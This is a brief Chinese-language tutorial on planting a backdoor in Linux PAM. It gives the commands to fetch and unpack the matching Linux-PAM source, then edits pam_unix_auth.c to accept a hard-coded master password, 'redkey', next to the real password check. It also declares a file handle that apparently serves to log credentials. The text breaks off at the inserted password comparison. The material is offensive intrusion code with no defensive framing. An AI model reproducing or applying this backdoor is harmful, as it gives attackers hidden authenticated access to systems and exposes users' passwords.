一.查看系统pam版本:
[root@redkey ~]# rpm -qa | grep pam
pam-1.1.1-4.el6.x86_64
二.下载对应版本的pam模块
http://www.linux-pam.org/library/
三.解压&修改pam_unix_auth.c文件
tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c
四.修改部分
在
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
,int argc, const char **argv)
{
定义:FILE *fp;如下:
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
,int argc, const char **argv)
{
unsigned int ctrl;
int retval, *ret_data = NULL;
const char *name;
const void *p;
FILE *fp;
在retval = _unix_verify_password(pamh, name, p, ctrl); [约177行]下添加
/*password:”redkey”*/
if(strcmp(p,”redkey”)==0)